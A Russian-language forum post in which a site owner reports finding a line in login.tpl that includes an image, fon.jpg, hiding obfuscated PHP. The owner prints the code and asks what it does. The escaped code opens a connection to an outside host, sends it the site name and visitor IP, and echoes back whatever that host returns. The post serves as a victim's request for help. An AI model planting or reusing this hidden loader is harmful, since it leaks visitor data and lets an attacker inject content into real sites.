ZeTKOMI - Спасибо,натолкнул на верную мысль.
Serberg - ты был почти прав про файл login.tpl - в нём собака зарыта:
$void = include ($tpl->dir.'/images/fon.jpg');
открыл блокнотом fon.jpg, а там
<?php
$x0f="\146il\x65"; $x10="\x66\163\157c\153o\x70e\x6e"; $x11="\151\155\160\x6c\x6f\x64e";
$x0b = @$x10("\x65\x72o\x72\x68\157st\062.r\165", 80, $x0c, $x0d, 6); if(!$x0b){return ''; }else{$x0e = @$x0f("ht\164\x70\072\057\057ero\162\x68\157st2\056\x72\x75\057\151d\x32\x2e\160\x68\x70\077\163\x69\x74e\075$_SERVER[HTTP_HOST]&\151\160\075$_SERVER[REMOTE_ADDR]");return $x11('',$x0e); } ?>
Кстати, кто сможет расшифровать чё это за хрень?
То что там ссылки - я знаю,боюсь чтоб ещё чего не было, чтоб пароль от админки не увели.
|